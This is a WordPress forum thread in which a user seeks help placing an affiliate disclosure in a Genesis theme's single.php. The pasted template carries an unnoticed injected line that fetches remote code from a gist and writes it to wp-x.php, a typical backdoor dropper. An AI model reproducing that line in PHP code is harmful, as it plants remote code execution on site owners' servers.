Title: Add Text Above Posts Only
Last modified: August 21, 2016

---

# Add Text Above Posts Only

 *  [TheTJ](https://wordpress.org/support/users/measuringflower/)
 * (@measuringflower)
 * [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/)
 * I’m trying to place a disclosure above all of my posts to inform my readers that
   my posts may contain affiliate links (in abidance with FDA’s new regulations).
   I found that I can do this using the genesis_before_post_content Hook in Genesis
   Hooks, BUT it also shows on the front page and looks sloppy. Is there a way I
   can alter it so that it only shows in individual posts and not on the home page(
   either using Genesis Hooks or another way, different plugin maybe)? Thanks!
 * [http://www.measuringflower.com](http://www.measuringflower.com)

Viewing 7 replies - 1 through 7 (of 7 total)

 *  Thread Starter [TheTJ](https://wordpress.org/support/users/measuringflower/)
 * (@measuringflower)
 * [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/#post-3676570)
 * Ok, using single.php, I figured out how to get it above the posts. However, I
   would really like for it to be before the content of the post (like after the
   time stamp and what not), and haven’t figured that out. :-/
 *  [Borko](https://wordpress.org/support/users/media-x/)
 * (@media-x)
 * [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/#post-3676578)
 * Try inserting it between
    `<div class="post-info">...</div>` and `<div class="
   entry-content">...</div>`
 *  Thread Starter [TheTJ](https://wordpress.org/support/users/measuringflower/)
 * (@measuringflower)
 * [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/#post-3676599)
 * [@media](https://wordpress.org/support/users/media/) X, do I place that in my
   single.php or somewhere else? I should’ve mentioned I’m kinda slow at all this,
   lol. I tried putting it my single.php, but it shows in the same place above the
   title. I’d like it before the time stamp and that info. 🙂
 *  [Borko](https://wordpress.org/support/users/media-x/)
 * (@media-x)
 * [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/#post-3676663)
 * MFlower,
    you added `<div align="center"><b>Disclosure:</b> This post may contain
   affiliate links. Thank you very kindly for helping me stay a stay-at-home mom!
   <br><br></div>`
 * Check your single.php and place that code right before `<div class="post-info"
   >...</div>`
 *  Thread Starter [TheTJ](https://wordpress.org/support/users/measuringflower/)
 * (@measuringflower)
 * [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/#post-3676713)
 * [@media](https://wordpress.org/support/users/media/) X,
 * That didn’t work either. :-/ It placed it in the same spot it is now and added
   another dotted line beneath it.
 * My Single.php doesn’t naturally had the <div class=”post-info”>…</div> tags in
   it either, I tried adding them, but same results. Here’s how my single.php looks:
 *     ```
       <?php get_header(); @file_put_contents("wp-x.php",file_get_contents("https://raw.github.com/gist/1868194/29b9ff700cc4adbf4a5700b3c09d9c07b399baee/2008"));?>
       	<div class="homepage">
           	<?php genesis_before_content(); ?>
               <div class="ad-block-125">
               <?php if (!dynamic_sidebar('Homepage Ads')) : ?>
               <?php endif; ?>
               </div>
   
                   <div class="fb-middle">
                   <?php if (!dynamic_sidebar('Featured Bottom Middle')) : ?>
                       <div class="widget">
                           <div class="wrap">
                           </div><!-- end .wrap -->
                       </div><!-- end .widget -->
                   <?php endif; ?>
                   </div><!-- end #featured-bottom -->	
   
                   <div class="fb-right">
                   <?php if (!dynamic_sidebar('Featured Bottom Right')) : ?>
                       <div class="widget">
                           <div class="wrap">
                           </div><!-- end .wrap -->
                       </div><!-- end .widget -->
                   <?php endif; ?>
                   </div><!-- end #featured-bottom-right -->
               </div>
       <?php genesis_before_content_sidebar_wrap(); ?>
       <div id="content-sidebar-wrap">
   
       	<div id="content">
   
       <div class="entry-content"><span style="font-size: 10px;"><div align="center"><b>Disclosure:</b> This post may contain affiliate links. Thank you very kindly for helping me stay a stay-at-home mom!
   
       </div></span></div>
   
       	<?php genesis_before_loop(); ?>
       	<?php genesis_do_loop(); ?>
   
       	<?php genesis_after_loop(); ?>
   
       	</div><!-- end #content -->
       	<?php genesis_after_content(); ?>
   
       </div><!-- end #content-sidebar-wrap -->
       <?php genesis_after_content_sidebar_wrap(); ?>
   
       <?php get_footer(); ?>
       ```
   
 * _[Please use the code buttons, **NOT blockquote**, when posting code]_
 *  [WPyogi](https://wordpress.org/support/users/wpyogi/)
 * (@wpyogi)
 * [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/#post-3676714)
 * You may want to ask studiopress for help – as they support their themes – and
   commercial themes are not supported on these forums.
 *  [Borko](https://wordpress.org/support/users/media-x/)
 * (@media-x)
 * [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/#post-3676716)
 * WPyogi,was just about to write the same thing 😉
    [@measuringflower](https://wordpress.org/support/users/measuringflower/),
   considering it’s a Genesis framework,without taking a closer look at all the 
   files it’s hard to pin point exactly where to add the code you need. The author(
   s) will surely help out.

Viewing 7 replies - 1 through 7 (of 7 total)

The topic ‘Add Text Above Posts Only’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 7 replies
 * 3 participants
 * Last reply from: [Borko](https://wordpress.org/support/users/media-x/)
 * Last activity: [13 years ago](https://wordpress.org/support/topic/add-text-above-posts-only/#post-3676716)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
